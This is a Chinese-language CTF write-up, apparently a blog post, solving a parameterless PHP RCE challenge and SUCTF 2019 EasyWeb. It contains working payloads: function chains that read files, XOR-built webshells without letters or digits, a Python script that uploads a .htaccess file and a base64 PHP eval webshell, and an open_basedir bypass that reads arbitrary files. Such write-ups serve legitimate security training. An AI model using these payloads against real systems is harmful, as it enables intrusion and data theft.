进入题目只有一句flag在哪?其实有点无从下手,参考网上的题解提示是git泄露,但是用githack没跑出来,最后还是用gitextract跑出来了源码:(githack得更新了…)

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

我们需要用exp传参,但是参数会经过三层正则匹配的过滤:
第一层:

preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])

这一层过滤了常用的PHP伪协议
第二层:

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

这一层的匹配明显提示我们是无参数RCE,其中的?R是递归地进行匹配
第三次:

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

过滤掉常见的关键字。
直接getflag不现实了,那就想办法利用函数来获取。

解题

首先需要获取当前目录下的文件,可以实现的函数有scandir(.)(.表示当前目录),但是.又不能用,此时想到localeconv():函数返回一包含本地数字及货币格式信息的数组。数组的第一项就是.
这时再借助current()/pos()返回数组中的当前单元, 默认取第一个值。也就是说current(localeconv())就是.了。
payload如下:

/?exp=print_r(scandir(current(localeconv())));
/?exp=print_r(scandir(pos(localeconv())));


可以看到flag.php在第四个数组元素中,读取它的源码就能拿到flag。如何读取倒数第二个数组元素呢?

这里有三种方法:
1、array_reverse()
以相反的顺序返回数组元素,再结合函数next()即可。这里构造payload:

/?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

效果如下:

2、array_rand()和array_flip()
array_flip()交换数组的键和值;
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
构造payload:

/?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

效果如下:

3、session_id(session_start())
session_start()启动新会话或者重用现有会话;
session_id()获取到当前的session id;
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
这里使用session之前需要通过session_start()告诉PHP使用sessionphp默认是不主动使用session的。然后利用session_id()获取到当前的session id。我们再在header中设置PHPSESSIDcookie,值就为flag.php,效果如下:

最后如何获取源码呢?
因为et被ban,所以可以用readfile()highlight_file()以及其别名函数show_source(),结合几种方法,最终构造下列payload:

/?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
/?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
/?exp=show_source(session_id(session_start())); //配合BP使用
... 自己组合吧

拿到flag:

[SUCTF 2019]EasyWeb

考察的知识有点杂,主要涉及构造不包含数字和字母的webshell文件上传绕过绕过open_basedir/disable_function
知识量有点大,好好记录一下。

知识拓展

构造不包含数字和字母的webshell

首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如assert,然后动态执行之即可。那么,变换方法 将是解决本题的要点。

不过在此之前,我需要说说php5和7的差异。

php5assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell
以上参考P神的博客
这里介绍三种构造shell的方法:
1、利用异或
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或之后,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
这里附上一个网上看到的代码:

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>

然后配合下面的payload,可以执行一些函数。

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo

抛开这道题,还可以类似这样地使用:

http://127.0.0.1/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system

最后的exp:

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);

2、取反构造
方法1有异曲同工之妙,唯一差异就是,方法1使用的是位运算里的异或,本方法使用的是位运算里的取反
本方法利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是\x8c,其取反即为字母s,还有一些其他的如下图:

图片来源于P神的那篇文章。
当然,在这道题里已经过滤了数字,那怎么来构造{}中的数字呢?
这个可以利用PHP的弱类型特性:true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2
然后便可以一步一步构造即可。
后面有一篇博客里[SUCTF 2018]GetShell这道题用到了这个知识点。
3、自增构造
参考http://php.net/manual/zh/language.operators.increment.php
可以了解到'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那如何获取a呢?
数组Array的第一个字母就是大写A,而且第4个字母是小写a。利用它可以同时拿到aA,等于我们就可以拿到a-zA-Z的所有字母了。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,然后再取这个字符串的第一个字符就是A了,同理获取a
还可以利用下面的方式来获取:

<?php
function B(){
echo "HI!";
}
$_++;
$__= "?" ^ "}";
$__();
?

1、$_++;这行代码的意思是对变量名为_的变量进行自增操作,在PHP中未定义的变量默认值为nullnull==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字;
2、$__="?" ^ "}";对字符?}进行异或运算,得到结果B赋给变量名为__的变量;
3、$__();通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为HI!,在PHP中,我们可以将字符串当作函数来处理。

想要更深的了解,参考前面的链接。

文件上传绕过

关于解析
之前讲过一个借用.user.ini解析来上传小马的,这里再扩展一下:

nginx的服务器,而且上传目录下有一个php文件,所以上传.user.ini
apache的服务器,应该上传.htaccess

.user.ini的已经讲过了,这里讲一下.htaccess:上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

#define width 1337
#define height 1337

#.htaccess是注释符,所以.htaccess文件可以生效。同时在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用pythonbytes类型),这里x00x00x8ax39x8ax39是wbmp文件的文件头,.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
对<?过滤的绕过
<?绕过的一般可以借用<script language="php"></script>来绕过,但是当PHP的版本是7以上的时候,本方法不可用了,此时需要用另一种方法:可以通过编码进行绕过,如原来使用utf-8编码,如果shell中是用utf-16编码则可以Bypass
在本题中的用法后面再讲。

绕过open_basedir/disable_function

open_basedirphp.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域。
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1//tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。举例来说: 若open_basedir = /dir/user, 那么目录/dir/user/dir/user1都是可以访问的,所以如果要将访问限制在仅为指定的目录,注意用斜线结束路径名
更多的可以参考这里

解题

进入题目看到源码:

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看到,代码主要分为两部分:get_the_flag()和各种过滤的代码(主要是为了调用get_the_flag())。
可以利用下面的代码fuzz一下:

for ($i = 0; $i < 256; $i++) {
if (!preg_match('/[x00- 0-9A-Za-z'"`~_&.,|=[x7F]+/i', chr($i))) {
echo urlencode(chr($i)).' ';
}
}
?>

获取到没有被ban的字符:

! # $ % ( ) * + - / : ; < > ? @ ] ^ { }

参考前面讲的拿webshell的三种方法,这里取反符号~直接被禁掉了,自增需要用到变量长度会很长,因此尝试使用异或,因为有长度的限制,所以可以去凑出类似$_GET{x}();然后传入x=get_the_flag调用函数。
利用下面的脚本来构造:

import urllib.parse

find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

拿到payload:

?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

再看get_the_flag的代码,发现是一个上传,从代码可以看出,对ph<?、文件的类型都做了判断。
那只能上传图片马了,但是还需要上传解析图片马的文件,该题的环境是apache,因此需要上传.htaccess,构造的方法前面也讲过了。
现在讲一下.htaccess构造的内容,这里将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,内容如下:

#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.jpg"

shell.jpg内容:

GIF89a12
PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

参考大佬的一个完整的上传脚本:

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.jpg"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://300a73e6-9981-40dd-b39a-cdf1584e3ba2.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)


然后访问?a=phpinfo();发现存在open_basedirdisable_functions的限制,参考前面讲到的知识,构造最终payload:

?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));


找到flag文件THis_Is_tHe_F14g,然后构造payload拿flag:

?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));


偶然发现,其实这个题不去绕过open_basedirdisable_functions的限制,直接访问phpinfo()就有flag…

Comments


:D 一言句子获取中...

Loading...Wait a Minute!